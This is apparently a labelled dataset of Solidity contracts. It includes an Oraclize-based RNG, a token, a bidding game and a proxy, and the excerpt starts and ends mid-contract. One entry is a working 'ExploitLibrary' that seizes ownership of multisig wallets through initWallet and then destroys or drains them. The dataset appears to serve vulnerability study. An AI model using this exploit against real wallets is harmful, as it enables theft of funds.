(bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_setProof(byte _proofP) oraclizeAPI internal { return oraclize.setProofType(_proofP); } function oraclize_cbAddress() oraclizeAPI internal returns (address _callbackAddress) { return oraclize.cbAddress(); } function getCodeSize(address _addr) view internal returns (uint _size) { assembly { _size := extcodesize(_addr) } } function oraclize_setCustomGasPrice(uint _gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(_gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32 _sessionKeyHash) { return oraclize.randomDS_getSessionPubKeyHash(); } function parseAddr(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function strCompare(string memory _a, string memory _b) internal pure returns (int _returnCode) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) { minLength = b.length; } for (uint i = 0; i < minLength; i ++) { if (a[i] < b[i]) { return -1; } else if (a[i] > b[i]) { return 1; } } if (a.length < b.length) { return -1; } else if (a.length > b.length) { return 1; } else { return 0; } } function indexOf(string memory _haystack, string memory _needle) internal pure returns (int _returnCode) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if (h.length < 1 || n.length < 1 || (n.length > h.length)) { return -1; } else if (h.length > (2 ** 128 - 1)) { return -1; } else { uint subindex = 0; for (uint i = 0; i < h.length; i++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if (subindex == n.length) { return int(i); } } } return -1; } } function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, "", "", ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { babcde[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { babcde[k++] = _bb[i]; } for (i = 0; i < _bc.length; i++) { babcde[k++] = _bc[i]; } for (i = 0; i < _bd.length; i++) { babcde[k++] = _bd[i]; } for (i = 0; i < _be.length; i++) { babcde[k++] = _be[i]; } return string(babcde); } function safeParseInt(string memory _a) internal pure returns (uint _parsedInt) { return safeParseInt(_a, 0); } function safeParseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } mint *= 10; mint += uint(uint8(bresult[i])) - 48; } else if (uint(uint8(bresult[i])) == 46) { require(!decimals, 'More than one decimal encountered in string!'); decimals = true; } else { revert("Non-numeral character encountered in string!"); } } if (_b > 0) { mint *= 10 ** _b; } return mint; } function parseInt(string memory _a) internal pure returns (uint _parsedInt) { return parseInt(_a, 0); } function parseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { if (decimals) { if (_b == 0) { break; } else { _b--; } } mint *= 10; mint += uint(uint8(bresult[i])) - 48; } else if (uint(uint8(bresult[i])) == 46) { decimals = true; } } if (_b > 0) { mint *= 10 ** _b; } return mint; } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function stra2cbor(string[] memory _arr) internal pure returns (bytes memory _cborEncoding) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < _arr.length; i++) { buf.encodeString(_arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] memory _arr) internal pure returns (bytes memory _cborEncoding) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < _arr.length; i++) { buf.encodeBytes(_arr[i]); } buf.endSequence(); return buf.buf; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32 _queryId) { require((_nbytes > 0) && (_nbytes <= 32)); _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(uint8(_nbytes)); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2]))); return queryId; } function oraclize_randomDS_setCommitment(bytes32 _queryId, bytes32 _commitment) internal { oraclize_randomDS_args[_queryId] = _commitment; } function verifySig(bytes32 _tosignh, bytes memory _dersig, bytes memory _pubkey) internal returns (bool _sigVerified) { bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4 + (uint(uint8(_dersig[3])) - 0x20); sigr_ = copyBytes(_dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(_dersig, offset + (uint(uint8(_dersig[offset - 1])) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(_tosignh, 27, sigr, sigs); if (address(uint160(uint256(keccak256(_pubkey)))) == signer) { return true; } else { (sigok, signer) = safer_ecrecover(_tosignh, 28, sigr, sigs); return (address(uint160(uint256(keccak256(_pubkey)))) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes memory _proof, uint _sig2offset) internal returns (bool _proofVerified) { bool sigok; bytes memory sig2 = new bytes(uint(uint8(_proof[_sig2offset + 1])) + 2); copyBytes(_proof, _sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(_proof, 3 + 1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1 + 65 + 32); tosign2[0] = byte(uint8(1)); copyBytes(_proof, _sig2offset - 65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (!sigok) { return false; } bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1 + 65); tosign3[0] = 0xFE; copyBytes(_proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(uint8(_proof[3 + 65 + 1])) + 2); copyBytes(_proof, 3 + 65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string memory _result, bytes memory _proof) internal returns (uint8 _returnCode) { if ((_proof[0] != "L") || (_proof[1] != "P") || (uint8(_proof[2]) != uint8(1))) { return 1; } bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (!proofVerified) { return 2; } return 0; } function matchBytes32Prefix(bytes32 _content, bytes memory _prefix, uint _nRandomBytes) internal pure returns (bool _matchesPrefix) { bool match_ = true; require(_prefix.length == _nRandomBytes); for (uint256 i = 0; i< _nRandomBytes; i++) { if (_content[i] != _prefix[i]) { match_ = false; } } return match_; } function oraclize_randomDS_proofVerify__main(bytes memory _proof, bytes32 _queryId, bytes memory _result, string memory _contextName) internal returns (bool _proofVerified) { uint ledgerProofLength = 3 + 65 + (uint(uint8(_proof[3 + 65 + 1])) + 2) + 32; bytes memory keyhash = new bytes(32); copyBytes(_proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(_contextName, _queryId)))))) { return false; } bytes memory sig1 = new bytes(uint(uint8(_proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1])) + 2); copyBytes(_proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), _result, uint(uint8(_proof[ledgerProofLength + 32 + 8])))) { return false; } bytes memory commitmentSlice1 = new bytes(8 + 1 + 32); copyBytes(_proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65; copyBytes(_proof, sig2offset - 64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[_queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))) { delete oraclize_randomDS_args[_queryId]; } else return false; bytes memory tosign1 = new bytes(32 + 8 + 1 + 32); copyBytes(_proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) { return false; } if (!oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]) { oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(_proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes memory _from, uint _fromOffset, uint _length, bytes memory _to, uint _toOffset) internal pure returns (bytes memory _copiedBytes) { uint minLength = _length + _toOffset; require(_to.length >= minLength); uint i = 32 + _fromOffset; uint j = 32 + _toOffset; while (i < (32 + _fromOffset + _length)) { assembly { let tmp := mload(add(_from, i)) mstore(add(_to, j), tmp) } i += 32; j += 32; } return _to; } function safer_ecrecover(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal returns (bool _success, address _recoveredAddress) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, _hash) mstore(add(size, 32), _v) mstore(add(size, 64), _r) mstore(add(size, 96), _s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 _hash, bytes memory _sig) internal returns (bool _success, address _recoveredAddress) { bytes32 r; bytes32 s; uint8 v; if (_sig.length != 65) { return (false, address(0)); } assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) v := byte(0, mload(add(_sig, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (false, address(0)); } return safer_ecrecover(_hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); modifier onlyWhitelisted() { require(whitelist[msg.sender], ""); _; } function addAddressToWhitelist(address addr) public onlyOwner returns (bool success) { if ((!whitelist[addr]) && (addr != address(0))) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } function addAddressesToWhitelist(address[] memory addrs) public onlyOwner returns (bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } function removeAddressFromWhitelist(address addr) public onlyOwner returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } function removeAddressesFromWhitelist(address[] memory addrs) public onlyOwner returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } contract RNG is usingOraclize, Ownable, Whitelist { struct Request { address game; uint round; } mapping(bytes32 => Request) public requests; uint public callbackGas = 2000000; bool public useOraclize; address randao; event RequestIsSended(address game, uint round, bytes32 queryId); event CallbackIsNotCorrect(address game, bytes32 queryId); event Withdraw(address to, uint value); constructor(bool _useOraclize) public { useOraclize = _useOraclize; if (useOraclize) oraclize_setProof(proofType_Ledger); } function () external payable { } function __callback(bytes32 _queryId, string memory _result, bytes memory _proof) public { if (msg.sender != oraclize_cbAddress()) revert(""); if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) { emit CallbackIsNotCorrect(address(requests[_queryId].game), _queryId); } else { iGames temp = iGames(requests[_queryId].game); assert(temp.processRound(requests[_queryId].round, uint(keccak256(abi.encodePacked(_result))))); } } function __callback(bytes32 _queryId, uint _result) public { if (msg.sender != randao) revert(""); iGames temp = iGames(requests[_queryId].game); assert(temp.processRound(requests[_queryId].round, uint(keccak256(abi.encodePacked(_result))))); } function update(uint _roundNumber, uint _additionalNonce, uint _period) public payable { uint n = 32; uint delay = 0; bytes32 queryId; if (!useOraclize) { queryId = bytes32(iRandao(randao).newCampaign.value(350 finney)(uint32(block.number+101), uint96(200 finney), uint16(100), uint16(50))); } else { queryId = custom_oraclize_newRandomDSQuery(_period, delay, n, callbackGas, _additionalNonce); } requests[queryId].game = msg.sender; requests[queryId].round = _roundNumber; emit RequestIsSended(msg.sender, _roundNumber, queryId); } function withdraw(address payable _to, uint256 _value) public onlyOwner { emit Withdraw(_to, _value); _to.transfer(_value); } function setCallbackGas(uint _callbackGas) public onlyOwner { callbackGas = _callbackGas; } function setUseOraclize(bool _useOraclize) public onlyOwner { useOraclize = _useOraclize; } function setRandao(address _randao) public onlyOwner { require(_randao != address(0)); randao = _randao; } function getRequest(bytes32 _queryId) public view returns (address, uint) { return (requests[_queryId].game, requests[_queryId].round); } function getCallbackGas() public view returns (uint) { return callbackGas; } function custom_oraclize_newRandomDSQuery( uint _period, uint _delay, uint _nbytes, uint _customGasLimit, uint _additionalNonce ) internal returns (bytes32) { require((_nbytes > 0) && (_nbytes <= 32), ""); _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(uint8(_nbytes)); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, xor(timestamp, _additionalNonce)))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query(_period, "random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2]))); return queryId; } }
0
382
pragma solidity ^0.4.13; contract WalletAbi { function kill(address _to); function initWallet(address[] _owners, uint _required, uint _daylimit); function execute(address _to, uint _value, bytes _data) returns (bytes32 o_hash); } contract ExploitLibrary { function takeOwnership(address _contract, address _to) public { WalletAbi wallet = WalletAbi(_contract); address[] newOwner; newOwner.push(_to); wallet.initWallet(newOwner, 1, uint256(0-1)); } function killMultisig(address _contract, address _to) public { takeOwnership(_contract, _to); WalletAbi wallet = WalletAbi(_contract); wallet.kill(_to); } function transferMultisig(address _contract, address _to, uint _amount) public { takeOwnership(_contract, _to); uint amt = _amount; WalletAbi wallet = WalletAbi(_contract); if (wallet.balance < amt || amt == 0) amt = wallet.balance; wallet.execute(_to, amt, ""); } }
1
3,563
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 300000000; uint256 public buyPrice = 1; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'Galileo', 'Galileo') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } }
0
761
pragma solidity ^0.4.16; contract AnyChicken { address public owner; address public bigChicken; uint public bigAmount; uint public lastBlock; function AnyChicken() public payable { owner = msg.sender; bigChicken = msg.sender; bigAmount = msg.value; lastBlock = block.number; } function () public payable { if (block.number <= lastBlock + 1000) { require(msg.value > bigAmount); bigChicken = msg.sender; bigAmount = msg.value; lastBlock = block.number; owner.transfer(msg.value/100); } else { require(msg.sender == bigChicken); bigChicken.transfer(this.balance); } } }
1
3,653
pragma solidity 0.4.25; contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } 